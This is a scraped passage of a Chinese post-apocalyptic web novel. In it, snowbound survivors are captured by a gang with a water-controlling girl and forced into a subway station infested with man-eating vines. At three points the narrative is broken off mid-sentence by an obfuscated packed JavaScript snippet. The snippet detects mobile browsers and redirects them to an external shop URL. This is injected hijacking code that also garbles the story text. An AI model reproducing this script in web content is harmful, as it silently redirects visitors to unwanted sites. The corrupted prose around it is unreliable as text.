他所在的位置又比刚刚高了几层，就算下面有积雪垫底，跳下来也必死无疑。 “看来他儿子已经死了。”乔一伊有些同情地说，“何必呢？那明显都不是他儿子了。” “这种人，没了最亲的儿子，肯定活不下去。”肖与楚冷淡地说道。 几个人就这样默默地盯着楼上，没有人要阻止他。几秒钟后，丁思明纵身一跃，像一片纸一样飘了下来，“啪”地一声，他的身体没进了雪地里，地上只剩下一个偌大的雪坑。 “啊……”乔一伊吓得脸都白了。 “啧……”陈斯只是轻轻感叹了一声。 “他……他还活着吗？”乔一伊牙齿只打架，不知道是冻的还是刚刚目睹了这一切吓的。 陈斯哼了一声：“活着又能怎样？这么下来不死也是半瘫，我们不是医生，救不了他。” “赶紧找地方吧。”肖与楚还是那副淡淡的口气。 一行人在肖与楚的带领下上了楼，重新找了个房子安顿了下来。很快天色就暗下来了，大家把手里的吃食匀了匀，勉强填饱了肚子。 小野吃完东西后，就沉沉睡了过去。肖与楚把她放在沙发的一角，又象征性地给她盖好了被子。 三个成年人围着临时做成的火炉，脑海里却都有各自的心事。 过了好一会儿，乔一伊开口说道：“其实……这不是我第一次看到跳楼自杀的人了。一个星期前，我在房间，也看到对面有个老头跳楼……” “你怎么没跟我说？” “我很害怕，”乔一伊抱着膝盖，呜咽起来，“你们说，我们几个还能在这个世界活多久呢？天气变化这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573052|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么快，吃的东西只会越来越少，到时候我们就……” “不是说好了去庇护所吗？去了那边就有活路了。”陈斯打断道。 “庇护所就完全可信吗？我们才走了几公里，就遇到了这种危险，能不能顺利到那儿还是未知数。而且……万一我们到了那里，根本没有什么庇护所，到时候我们又该怎么办？” 陈斯不耐烦地咂了咂嘴。 “所以呢？你想让我们怎么办？就躲在这儿不出去？还是说活生生饿死？” “我没有这么想，我就是不知道接下来该怎么办。”乔一伊脑袋埋在膝盖之间，低声地啜泣起来。“这段时间我老是做梦，梦见爸爸妈妈，不知道他们怎么样了。我已经尽量不去想了，但看到今天那个爸爸，还是觉得很难过……” 乔一伊的话让屋里的气氛变得更加凝重了。 肖与楚之前尽量不去想这些，但那些东西其实一直隐隐地出现在脑海里，她虽然时常希望父母能活下来，但更内心深处，她又觉得父母生还的希望已经不大了。 这个混乱的世界，比想象中的还要残酷万分。 “这个时候能顾好自己就不错了，”陈斯嘟囔道，“你们放心，我肯定会保护好你们。” 乔一伊微弱的哭声在房间里回荡。 伴随着夜晚的来临，万物都归于寂静，这一夜肖与楚都在一种似醒非醒，似梦非梦的状态中，她害怕下午的悲剧重演，又害怕在这个房间突然出现时空裂缝，掉进来什么莫名其妙的东西，或者把他们吸入了另一个时空。 这种不安始终围绕着她，庆幸的是，这个晚上什么都没发生。 第二天早上，天刚刚蒙蒙亮的时候，肖与楚就睁开了眼睛。空气中的寒冷还未消退，她拿着桶下楼取了一桶雪，又上楼把这水融化烧开，就着这户人家的剩下的茶叶，喝了一杯茶。等茶喝得差不多时，其他人也陆续起来了。 “看来，今天也没法走了。”陈斯望着窗外厚厚的积雪发愁，“我还从来没见过这么厚的雪，小楚，你什么打算？” “楼下的雪有一人厚，除非有专业设备，不然我们走到小区门口都难。”肖与楚说。 “但是出不去，我们吃什么啊？”乔一伊眼睛都哭肿了，“难道像昨天那位爸爸一样，去别的房间找？” “也不是不可以。”陈斯倚着窗，目光都在肖与楚身上。 肖与楚觉得不对劲，乔一伊也觉得不对劲。 “我可以和小野去找，你们就留在这儿吧。”肖与楚说。 “那怎么行，我看还是我跟你去找，一伊留在这儿看小野。” “陈斯……” “别说了。你太弱了，出去很危险，我和小楚去找东西比较方便。”陈斯义正言辞。 肖与楚太了解陈斯了，这肯定不是他的真实想法，她不想和他一起出去找东西，不过现在也没到要拒绝他的时候。 肖与楚端起茶杯站起来，准备把杯子扔到厨房里。还没迈步，就听到外面有隐隐约约轰鸣声。那轰鸣声由远及近，还夹杂着一些奇怪的啸叫。 陈斯也听到了，他往窗外看了一眼。“不好，好像有人来了。” “什么人？”乔一伊又吓着了。 肖与楚疾步朝窗户边走去，眼前的景象也让她头皮一紧。那轰鸣声来自一支雪地摩托队伍，落在最后的是一辆经过改装的汽车，他们一路啸叫，似乎目的地正是这片公寓…… 8. 008 “我们要不要溜？”陈斯难得问肖与楚的意见。 “很难跑出去。”肖与楚很冷静。 眼下局势很不利，外面的积雪太厚，就算跑出去，恐怕没走几步路就被那些人追上。虽然肖与楚和陈斯都变异了，但谁又能保证那些人中没有变异人种呢。 “不变应万变，我们先别出声，看看什么情况。”肖与楚说。 “我同意，万一他们的目的不是我们，我们刚好可以躲过。”乔一伊也认同肖与楚的看法。 肖与楚让乔一伊带着小野到房间里躲起来，她和陈斯则蹲在门口，留意外面的动静。 有好一会儿，外面都没有任何声音，肖与楚计算了下，这里是7楼，如果有人想来，应该不会要那么长的时间。 她紧绷的神经稍微放松下来，便倚着门休息，就在此时，她发觉陈斯一直盯着自己。他的脸还没消肿，眼神有种与以往不同的滑稽感。 肖与楚赶紧移开目光。 “我知道你还恨我，但是我对天发誓，当初我真的没有出轨。” 肖与楚：“你……”什么时候了说这些？ 陈斯：“我们曾经好歹是男女朋友，这种感情不是说消失就能消失的，以后遇到了危险，我也不会丢下你不管。” 肖与楚：“……你想说什么？” 陈斯煞有介事：“我只是觉得，你好像对我还有感情，要不然你为什么一定要跟我们一起走？” “你想多了，我是怕乔一伊被你骗。” 陈斯并不管肖与楚的想法，他继续说：“说实话，我和乔一伊在一起没多久，只要你一句话，我就可以甩了她。” 这要是平时，肖与楚一定破口大骂，可现在可不是破口大骂的好时机，她狠狠白了陈斯一眼，算是作为这段对话的结束。 又等了一会儿，外面依然没有动静，但也没有雪地摩托启动的声音，陈斯累得一屁股坐在地上。 肖与楚依然一动不动地站在门边，不知道是不是她的错觉，她感觉耳边似乎有哗啦啦的水声在流动。 难道是外面的积雪开始融化了？ 肖与楚往窗外看去，就算是积雪融化也不会这么快，这水声到底哪儿来的？肖与楚低下头，却被脚下的情形吓到了，本来好端端的门缝，竟然有水渗了进来，源源不断，就像有人在外面往里灌水一样。 肖与楚正纳闷怎么回事，那些水滴却诡异地在她脚边聚了起来，腾空而起。 情急之下，肖与楚一脚踩了下去。 那水滴被打散，像是溅起来的水花一样，漂浮在了空中。 经历了几次稀奇古怪的事，肖与楚马上升腾起来一种不祥的预感，她大叫一声“不好”，就要跑开。不幸的是，她的脚像灌了铅一样沉重，那些水滴已经将她的鞋和地面粘合在一起了。 她想脱掉这双碍事的鞋，却看见几滴水升到了眼前，像几只眼睛一样盯着她。 没等肖与楚反应过来，那几滴水滴就扎进她的眼睛。霎那间，肖与楚浑身麻痹，话不能说，人也不能动弹。 彼时的陈斯也跟她一样，遭遇了同样的变故，他本来想站起来反抗，现在只能躺在地上像一只鱼一样蠕动嘴唇。 不一会儿，门锁就吧嗒一声打开了，肖与楚侧身对着门，刚好可以看见那几个人的脸。 在她眼前，三个精神小伙围着一个少女，那少女穿着一身冬季高中校服，身前背着一个军用水壶，她个子不高，长得秀气，扎着马尾。 “小佳，你这功夫真不赖啊。”少女身边一个尖嘴猴腮，约摸二十出头的男人拍了拍她的肩膀。“要是我也有，就更好了。” “就算你有，张老师也不会帮你的。”他身后一个穿着红色羽绒的，黄头发的精神小伙一脸不屑。 “有没有又有什么关系？现在小佳不是我们的人吗？”另一个嘴里叼着烟的精神小伙拿出一把扎带。“哥，现在就把他们绑了？” “要不然呢？”尖嘴猴嬉笑着踏进了门，“你们看这女的，眼睛滴溜溜的，还瞪我们呢，她肯定没想到我们居然这么随便就能进来吧？” 尖嘴猴抖落肩膀，走到肖与楚面前，得意地挑了挑她的下巴。 肖与楚嫌弃地瞪着他。 “嘿，这姑奶奶，都这田地了还瞪我。”尖嘴猴抬起手给了肖与楚一耳光。 这一耳光力道大，但不知道是不是浑身麻痹的原因，肖与楚居然没什么太大的感觉，但她还是哼哼了一声，垂下了脑袋。 “让你装X……”尖嘴猴咧开嘴笑了。 “哥，这妞儿挺清秀，咱好久没开荤了，要不要把她……”黄毛精神小伙手舞足蹈。 虽然他话没说哈，但肖与楚已经明白了什么意思，她眼前一阵眩晕。 “可——”尖嘴猴的话卡住了，他的目光流露出一丝畏惧。 肖与楚这才注意到，少女的手紧紧地握着水壶，似乎随时准备出手。 “算了算了，都什么时候了，还有心思想□□里那点事。”尖嘴后挥了挥手，“先搜搜这屋里还有没有其他人，然后把他们一起带走。” 那两人一听号令就像两未开化的大猩猩在房间里翻找起来，不一会儿就把乔一伊和小野拎出来了，乔一伊吓得脸色惨白，小野倒是跟个不着调的小孩一样。 几个人很麻利地把肖与楚一行四个都绑了起来。 在这期间，那个少女一直站在门口，冷冷地看着屋里发生的一切。只是在视线和肖与楚碰撞时，她才微微皱眉。 那种要命的麻痹感不多时就消失了，肖与楚一行人被塞进了那辆改装汽车的车厢里，很快又有些人陆陆续续被从各栋楼带了下来。肖与楚数了数，加上他们几个一共有十二个人，十个大人，两个小孩。 大家表情各异，有慌乱的，也有平静的，还有怒火中烧的……车厢里一开始很安静，但汽车发动后，大家的说话声就变大了。 “这伙人我认识，他们驻扎在江津区公安局，应该是带我们去那儿的。”一个头发花白、身材精瘦的老汉说道。 “去那儿……去那儿干什么？”挨着老汉的中年妇女紧张得浑身发抖。 “能干什么啊？总不至于把我们这几个好吃好喝地供着吧，肯定是在打算什么坏事。”老汉说着舒了口气，“也好，反正家里没什么吃的了，活着也是遭罪，还不如被他们抓了去呢。” 他这话一出，车厢里的氛围一下子变了，有几个胆小的人竟嘤嘤嘤地抽泣了起来。 “我们老了，没事，但这俩孩子他们也下得去手哇……”一个上了年纪的老太太向小野和另一个小男孩投去慈爱的目光。“两位孩子妈妈，你们待会儿到了好好求求他们，让他们别为难孩子了，他们太无辜了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573053|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哼，你懂什么，为不为难又有什么区别？难道两个孩子还能在这世道活下去不成？”老汉没好气。 肖与楚和另一个孩子妈妈对视了一眼，她能感觉到对方和她是一种截然不同的情绪，或许因为她是个真正的母亲，而肖与楚却不是。 又或许因为小野是从另一个时空来的强者，不需要肖与楚去操心她的安危。 她现在更在意的是那个穿着高中校服的少女，她应该是能控制水，但那些水滴为什么能让人全身麻痹？他们口中的张老师又是谁？真的是这个女孩的老师吗？ 雪地摩托开了十分钟后，到达了目的地。 众人被尖嘴猴一伙人赶了下来，肖与楚这才发觉他们已经到了派出所的院子里，他们在那行人的驱赶下，进了大楼，被关进了一间真正意义上的牢房。 牢房面积不大，十二个人挤在一起显得很拥挤。肖与楚一行人被挤在最里面，她干脆直接在靠墙的角落里坐了下来。 “他们到底想干嘛啊？会不会把我们杀了？”乔一伊无力地歪在肖与楚的身边。 陈斯也吓得不轻，不过在女人面前，他不想表现得那么懦弱，便故作镇定地说道：“别怕，真到了那一步，我会放火。” “放火？”老汉耳朵尖，他转过头，“你发神经啊，火是能随便放的？一把火把大家都烧死了，你担得起？” 陈斯哽了一下，尴尬地沉默了。 “呜呜呜——”有人哭了起来。 “哎，你别哭了，一路哭哭哭，我都要烦思了。”一个身材中等的眼镜男在牢房另一头数落一个头发凌乱的女人。 “我怕啊……”女人哀戚地抱怨道。 “谁不怕？就你矫情。”眼镜男极其不耐烦。 女人的哭声在牢房里渐渐消停了下去。 这里不只有一间牢房，肖与楚进来的时候留意过，其他牢房也关着零零星星的几个人，总的算起来，应该有二三十个左右吧。 他们究竟想干什么，居然需要这么多人？肖与楚百思不得其解。 想要逃跑不太可能，那个能控制水的女孩太厉害了，虽然她看起来和这帮人格格不入，但问题就出在那个张老师身上，他究竟给女孩灌了什么迷魂汤，让她心甘情愿卖命的？ 在牢里大概待了个把小时左右，尖嘴猴又带着那伙人进来了，他们把所有人都从牢里赶了出来，带到了大厅里。 大家聚在一起，就像一堆等待被处决的囚犯。 人群窃窃私语起来，焦躁不安的情绪越来越浓烈，终于有个满脸胡须、邋里邋遢的年轻人忍不住了，发疯一般往大门口跑去。 “我要回家！我要回家！”他大叫道。 就在他到达大门口时，叫喊声戛然而止，他定在那儿，没几秒种便像一团棉花一样瘫了下去，接着他就像被抽走了全身筋脉一样，抽搐不止，直到一下，一下，再也不能动弹。 人群中顿时爆发出惊恐的叫声，恐惧像是病毒一样蔓延到了每个人身上。 “怎么回事啊？他怎么死了？” “肯定是那个女孩儿干的。” …… 没有人看清楚发生了什么，所有怀疑都指向了那个还没出现的少女。但肖与楚看得一清二楚，一切都在她视线之中，是一滴绿豆大小的水滴杀死了那个要回家的年轻人。 9. 009 “想跑也得问问，我们愿不愿意让你走吧。” 在众人惊愕恐惧的时候，一个平静、温和却又让人觉得毛骨悚然的声音在大厅里响起。 众人的目光随即向声音传来的方向投过去，从左边一侧走廊上，走出来一个约摸三十岁出头的男人，他的鼻梁上架着一副金丝眼镜，身上穿着一件黑色羽绒夹克，一条黑西裤，脚上穿着一双非常干净的白色球鞋。 在他身旁是那个叫小佳的少女，表情还是那么漠然。 “张老师，人我们都找齐了，接下来等你安排。”尖嘴猴一脸恭维地迎了上去。 张老师笑眯眯地看着尖嘴猴，拍了拍他的肩膀。 “辛苦了，小候。” 还真姓侯？肖与楚挑眉。 “不辛苦，为了组织，我什么都能干。” 组织？什么组织？怎么看这些人都像一个草台班子。 张老师满意地点了点头，又转头看向大厅里站着的所有人。在目光流转的时候，他脸上的笑容并未消失，但却让所有人头皮发麻。有那么一刻，肖与楚甚至觉得他真的就是一个老师。 人群中有人发出了低不可闻的、恐惧的叹息声。 “各位，别紧张，”张老师的声音在大厅里回荡，“我让大家来，是需要大家的帮助，不是想杀你们。” 众人你看我，我看你，怎么想都不觉得这是一个可以令人信服的理由。 “你们都住在这一片，应该知道这附近有一个地铁站吧？”张老师的目光扫视所有人，好像期待有人能回答他的问题一样，但是没有人愿意开口和这位张老师对话。 谁知道这家伙葫芦里卖的什么药啊，万一那个年轻人一样怎么办…… “那个地铁站叫活力城站，是和商业中心连接的地铁站。我需要你们进地铁站去。” “去地铁站干什么？”不怕死的老汉问道。 “去地铁站很危险。” “对啊……” “我不去，死都不去。” …… 小佳手一挥，水壶里的水涌出，从四面八方汇聚道这群人的周围，这些絮絮叨叨的声音瞬间弱了下去。 “不要以为我是在跟你们商量。”张老师的目光还是温和如水，“我只是在告知你们，你们必须去。” “那儿有你想要的东西？”一个声音在人群中大胆地问道。 这个时候说话，不是要大家的命吗？所有人的目光都向这个声音的发出者射了过去，甚至在她周围的人都让出了一个豁口，好让她暴露在那些水滴的范围内。 张老师的目光很顺利地落到这个身材纤瘦，皮肤白净，扎着马尾的女人身上。 这人正是肖与楚。 肖与楚的眼睛里没有任何惧怕神色，她只是直直地看着张老师。 “我听说，活力城的老板在地铁站存了很多物资，你想要的该不会是那些物资吧？” 在没听到活力城地铁站这个名字前，肖与楚是没想到这一茬的，但在听到名字后，她的大脑立即就浮现出了巨变开始发生那几天的一个帖子。 那个帖子是活力城的一个员工发的，他说他老板把地铁站封了，在地铁站囤积大量物资准备度过末世。 当时很多人都在取笑这个发帖的人，但现在看来他说的是实话，活力城老板的确这么做了，只是这些物资应该早就不属于他了。 “你知道的挺多。”张老师微笑如故。 “知道一点点，”肖与楚保持着笔挺的姿态，“你既然想让我们下去，难道下面有什么你们应付不了的危险？” 人群又是一次低沉的惊呼。 张老师眯了眯眼睛，没有搭话，但那些水滴也没有冲过来找肖与楚的麻烦。 肖与楚胆子大了起来。 “你不告诉我们下面什么危险，不是让我们去送死吗？” “你这女的，话怎么那么多啊？”尖嘴猴看不下去了，要过来收拾肖与楚。 张老师挥了挥手，示意尖嘴猴回去。尖嘴猴没发挥出实力，又悻悻地缩了回去。 “下面的确有危险，但具体是什么危险，我们不清楚。不过我们掌握了一点点情报，如果你们愿意下去，我可以告诉你们。” “什么情报？” 张老师示意肖与楚走近一点说话。 肖与楚犹豫了一下，从人群中走了出来，靠近张老师。 张老师见她过来，嘴角勾起一丝不怀好意的微笑，他侧了侧身子，低声说道：“吃人。” “除了这个以外呢？” “没了。”张老师说着直起身子，大声对其他人说：“各位，情报我已经告诉这位女士了，如果你们能杀了那些东西，活着回来，我会给你们每人一个月的生活物资，绝不食言。” 这个消息顿时让一小部分人兴奋了起来。 经历过一个月的洗礼，有些人物资所剩无几，这给了他们活下去的希望。 只不过这种希望，完全仰仗于眼前这个女人所获得的情报。 而另一部分觉得物资可有可无的人，这时候把生的希望都寄托在了肖与楚身上。 看着那些人期盼的眼神，肖与楚察觉到了张老师的阴险之处：这个情报可有可无，肯定满足不了他们，到时候下去了他们肯定会群起攻之。 肖与楚暗暗骂娘。 “我有个请求。”和他们一起出来的孩子妈妈怯生生地开口了。 “什么请求？” “能不能别让我的孩子去，他年纪小，去了也不顶什么用。”女人的声音很低，但是在安静的大厅很清晰。 她的孩子跟小野差不多大，听到妈妈这么说，哇地一声哭了出来。 “妈妈……” “行。我很好说话的，孩子太小留在这儿也可以。”张老师笑眯眯。 “这儿还有一个孩子。”有人把小野推了出来。 小野还不等人问，就拒绝道：“不，我要跟我妈妈一起去。” “呵，”张老师轻轻笑了一声，视线在肖与楚和小野身上游离，“好一对母女，既然母女同心，我在这儿等你们的好消息。” 一支浩浩荡荡的队伍在小佳和尖嘴猴等一干人的护送下出发了。 这支队伍出奇地沉默。 肖与楚一上车，就察觉到车上氛围紧张，所有人的目光都在她身上，显然都在期待什么。 “姑娘，张老师跟你说的情报是什么啊？能不能跟我们说说。”老汉率先发问。 “对啊，说说，大家有个心理准备。” “是啊。” …… 众人纷纷附和。 “他说了两个字。”肖与楚看大家渴望的神情，思索着说哪两个字合适。 “他在你耳边唧唧歪歪那么久，就两个字？”陈斯的一席话激起了千层浪，车厢里顿时热闹了起来。 “是啊，我看他说了挺多的，怎么会两个字？” “他是不是给你承诺了什么好处，让你不要告诉我们？” “大家都是一条绳上的蚂蚱，你不至于做这么绝吧？” …… 肖与楚看着表情各异的众人，心里明白即便她说出真正的情报，也无法消除大家对她的怀疑。 “我说了你们真的信吗？”肖与楚问。 “我们会自己判断。”眼镜男插嘴道。 “好吧，”肖与楚停顿了几秒，一字一顿地说道：“团结。” “什么？” “放屁，你骗我们。”眼镜男不满。 “你这姑娘看着老老实实，怎么能诓我们呢。”另一个中年妇女也说。 “人心隔肚皮……这种人自私自利！” “呸！”一个洪亮的声音打断了这些人的话，“你们是不是傻，这位大姐说得没错，越是这个时候我们越要团结，不然怎么对付地铁站里的东西？” 大姐这个称呼对肖与楚来说多少是有些冒犯了，肖与楚朝这个声音看过去，说话的是个身材壮实的男青年，和肖与楚差不多大，脸上有一种浑然天成的不会说话的耿直气质。 他善意地冲肖与楚笑了笑，肖与楚也只好笑了笑回应。 “我相信这位大姐，她没必要骗我们，事情到了这个地步，我们只有齐心协力才能活下去，各位，加油！”男青年慷慨激昂。 他的话像是掉进了一个深不见底的窟窿，压根没人搭理他。 “你以为饭店服务员呢，搁这儿喊口号。”有人奚落道。 不多时，车子就到了地铁站门口。 地铁口的积雪已被清除干净，门口有几个懒洋洋的小兄弟在值守。在地铁口还堆着铁锹、兵工铲、照明灯等工具。 众人在催促下下了车，肖与楚一下车就看到空中有很多水滴，而小佳就站在地铁口。 “这是给你们准备的照明和武器。”尖嘴猴指着地上的破烂说。 “就这些东西，能当武器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573054|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？都生锈了。”眼镜男提出质疑。 尖嘴猴咧开嘴：“反正我们这儿就这些，你们不想要也可以赤手空拳下去，我们无所谓。” 眼镜男一听这话，立马快步上前，捡了一把西瓜刀，有他这一遭，场面混乱起来，大家争先恐后挤了过去。 几个女人在这种场面下毫无优势，基本都被挤在了最后。 肖与楚只得到一把生锈的镰刀和一盏小小的照明灯；乔一伊拿到了一个兵工铲；眼镜男的老婆拿到半截拖把棍，和他们一起来的中年妇女运气好一点，拿到一把钝口的菜刀，而那位老太太拿到了一把扫帚。 “小楚，我们这些东西真的有用吗？”乔一伊问道。 肖与楚看着手上两样东西摇了摇头，这把生锈的刀估计连草都没法割。 “刀给我。”小野在旁边说道。 “你想干什么？” “我给你修修。”小野眨眼。 肖与楚疑惑地把镰刀递给小野。 小野拿着镰刀，蹲了下去，在低视线处忙活了一会儿，又站起来把刀还给肖与楚。 刀上的锈迹没有了。 “你磨刀了？” “不止是磨刀，待会儿你就知道了。”小野嘿嘿一笑。 所有人都拿到了武器，但没人敢轻易走进地铁口，里面黑黢黢的，就像一个巨物的深渊之口，让人直不寒而栗。 “你们还不下去吗？再不下去这些水滴就要教训你们了”尖嘴猴威胁道。 众人沉默，还是那个不怕死的老汉，提着铁锹里冒了出来。 “我都活半辈子，活够了，我下去给你们淌淌水。” 他撂下这句话就潇洒地走下台阶。 “不错嘛，这才像话，其他人加快速度。” 这句话不算有威慑力，但在小佳的水滴之下，压力足以让意志不坚定的人崩溃。 有几个人吓得腿软，毫无预兆地跌在了雪地里。 这其中就有那位老太太，她昏了过去。 “没用的东西，其余人快点！” 有几个胆子大的一咬牙，子下了台阶，这其中包括那个身材结实，只会喊大姐的男青年。 肖与楚一行人互相打了个照应，也跟在这些人身后下了台阶，他们前面有七八个人，后面除了同伴外，队伍最后还有尖嘴猴和小佳那几个人跟着。 看来，他们真的需要物资。 活力城的确是一个藏东西的好地方。这个站修得比较深，要先下两节长约十几米的台阶，走过一条很长的通道，再下两节落差五六米的台阶才能到达地铁站大厅。两条人流密集的线路交叉，地铁站大厅修得很宏伟，各种设施一应俱全。 众人进了通道后，光线陡然暗下来了，一些人陆陆续续打开了照明灯，继续前行。 前方通道中间处不知道何时多了一道防空门，那扇门敞开着，但洞里黑漆漆的一片，好像能把所有人吞进这个怪异的地铁站一样。 “不想死的，就往里走。”尖嘴猴威胁道。 老汉第一个走到了门口，他拿着照明灯递进门晃了晃，没觉得里面什么异常。 “进去吗？”男青年问他。 “进啊，难道我们还有选择的余地？”老汉苦笑。 他第一个走进了防空门，男青年和几个胆子大的立即跟了上去。 肖与楚一行人跟在那几个人身后，刚开始周围都没什么异常，但走了十几米，肖与楚闻到有一股奇异的香味，像是从墙壁里散发出来的一样。 “好香啊。”人群中也有人和肖与楚有同样的感受。 “妈，你看。”小野指着天花板低声对肖与楚说。 天花板盘着一些绿油油的东西，看起来好像是植物的藤蔓。 “这是什么？” 小野摇了摇头：“我不知道，看起来很危险。” 吃人，肖与楚脑子里冒出来那两个字，是这些东西在吃人吗？肖与楚无法相信这些毫无攻击力的植物藤蔓居然会吃人。 要是别的东西，那又会是什么？ “大家小心点。”肖与楚提醒所有人。 藤蔓太香了，刚刚在门外没有人觉得有这么浓郁的香气，但现在一个个似乎被迷的神魂颠倒，不时地发出感叹声。 “啊——”就在大家闻得胆战心惊的时候，一阵凄厉的惨叫声从队伍后半部分传了过来。 那声音打破了通道里的宁静，一下子抓住了所有人的视线。 10. 010 众人的手电齐刷刷往那个人身上照了过去。刺目的白光集中在这个肥胖的男人身上，他被晃得睁不开眼睛。 “妈的，你们别晃我！”他痛苦地咒骂道。 众人对他的话置若罔闻，所有人都被眼前的景象吓傻了：男人紧紧地贴在墙上，从他的后背伸出了好几根铁丝状的藤蔓，正在缠绕他的身体，甚至有一根藤蔓已经攀上了他的脖子。 “国祥……”人群中有跟男人熟悉的人，叫出了他的名字。 “叫……叫老子干嘛？”男人的气势逐渐消沉下去。 在他问的时候，几根铁线般的藤蔓已经爬上了他的脸，伸进了他的嘴巴，可他看起来竟然毫无察觉，甚至脸颊还浮起来一丝惨淡的笑意。而他那张本来鼓鼓的脸，似乎正在一种不可见的速度瘪下去。 “啊——”中年妇女爆发出一声嘶鸣。“快跑啊！死人啦！” 这声叫声把本就不安的人群撕裂，众人立即四下逃窜。 “快！快逃！” 有人往防空门的方向跑，却发现门不知道什么时候被堵住了。 “他们把门堵住了！” 一些人见此情形又往地铁站里跑。 老汉和陈斯就是其中的领头人，这时候陈斯早已忘了乔一伊的存在，只顾跟着老汉在通道里狂奔。 肖与楚气得把小野和乔一伊都抓到自己身边。到了此刻，她已经明白张老师说的什么吃人东西了，只是所期待的团结根本不存在，眼前的场面只有前所未有的混乱。 “快点走。”肖与楚对两人说。 她让乔一伊和小野走在前面，她垫后，看见有什么奇怪的东西扑过来，她就提起镰刀砍，她也不知道砍了些什么，反正感觉有吱吱呀呀的声音从四周传来。 而与之形成强烈对比的是身后惨烈的叫声，没有人为更加弱的群体回头。 一些人从通道里逃了出来，跌跌撞撞地冲进了大厅，大厅除了留出主要通道外，全堆着裹着防水布的物资，人群不知道该往哪儿走。 “去保安室。”老汉在前面叫道。 侥幸逃出来的人跟在他身后一起朝保安室跑去。等肖与楚拉着乔一伊和小野冲进保安室后，才发现陈斯快她们一步，已经窝在了角落里，在她们身后又陆陆续续进来好几个人。 最后“嘭”的一声，门关上了。 “妈的，这帮孙子，把我们骗进来，差点人都没了。”眼镜男气得声音发抖。 “这……这到底怎么回事儿啊？”一个瘦弱的小个子问。 “还能是怎么回事儿？那些藤蔓是活的，它们会杀人！” “我……我亲眼看见了，它……它把国祥的血都吸没了。”和国祥熟识的平头男说。 “完了完了，我们死定了……”陈斯也眼神涣散地嘀咕道。 恐惧的情绪瞬间蔓延了整个房间。 “狗日的，别一个个跟软脚虾似的，这种时候要冷静！大家一起想办法！”叫肖与楚大姐的男青年低吼道。 肖与楚注意到他的臂弯还窝着一个女人。 “哎，不是，你搂着我媳妇儿干什么？”眼镜男这才发现老婆不知道什么时候到了男青年怀里。 “这是你媳妇儿？”男青年拉长了语调。 “是啊，你放开她，别趁乱占便宜。” “占便宜？”男青年放下手，“你这个傻X玩意儿，刚刚要不是我把她抱进来，她就死在外面了。” “谁他妈让你管了？”眼镜男把一脸呆滞恐慌的女人拉到身边。“还有你，蒋思雨，都结了婚的人了，别有事没事就往别人怀里钻。” 男青年嘴唇翕动，想骂人，话到嘴边又憋了回去。他抵着门，独自生气。 这一趟损失惨重。肖与楚数过，一起进来的一共有二十四个人，现在居然只剩11个人。除开她、小野、乔一伊还有这个叫蒋思雨的女人，其余几个女人都没跑进来。 这种时候都只顾着自己逃命，像男青年这样还帮忙照顾别人的，太难得了。 “那些东西到底是什么啊？你们看清了吗？”老汉问。 “鬼知道什么玩意儿，”男青年哼了一声，“长得像树藤，但谁家树藤会动啊，可能变异了吧。” “我猜的没错，咱们这趟有来无回。”老汉说着伸进兜里掏出来了一根烟，搁在鼻子底下嗅了起来。 “都是你这个娘们儿！”眼镜男突然指着肖与楚的鼻子，“你给我们的情报肯定是假的。什么狗屁团结，这玩意儿是我们能对付得了的？你特么说实话，那个张老师到底对你说了什么。” “老公……” “你给我闭嘴！”眼镜男气得脖子上的青筋都爆出来了。 他句句指向肖与楚，众人的目光也都集中在了她身上。 这些眼神很复杂，一方面希望这个女人真的能提供点什么情报，一方面又觉得是这个女人害得他们困在了这里。 而肖与楚，在意的不是他们的眼神，她现在悟出了另一个道理：张老师让他们进来，的确不是为了杀掉这些东西，而是拿他们的性命来交换物资。 她情不自禁地拍了拍脑门。 “不好意思啊，各位，在下来之前，张老师提供给我的那两个字，的确不是团结。”肖与楚说道。 众人的脸色由复杂变得愤怒。 “你他妈有病吧！” “果然女人误事。” “姑娘，你这么做对你有什么好处？” “操，婊子，我特么弄死你！”眼睛男说着就要冲向肖与楚，却被男青年拦住了。 “你干嘛啊，听人家把话说完很难吗？”男青年像一堵墙一样挡在眼镜面前，眼镜男显然无法跟他抗衡，只好愤愤地瘦了声。 “大姐，他到底说了什么，你赶紧跟大家说说。” 肖与楚复杂地瞥了男青年一眼，才说道：“你的年纪跟我差不多，叫我姐就行了。张老师只跟我说了两个字：吃人。” 这两字将躁动的空气冷却了下去，大家你看我，我看你，似乎都在琢磨这两个字的可信度。 “我不信，肯定是什么别的情报。”眼镜男说。 肖与楚不理会，继续说：“各位，我刚刚想到了，张老师让我们下来，不是为了消灭他们，而是让我们成为他们的食物，等那些东西吃饱喝足后，恐怕张老师就会来拿物资了。” 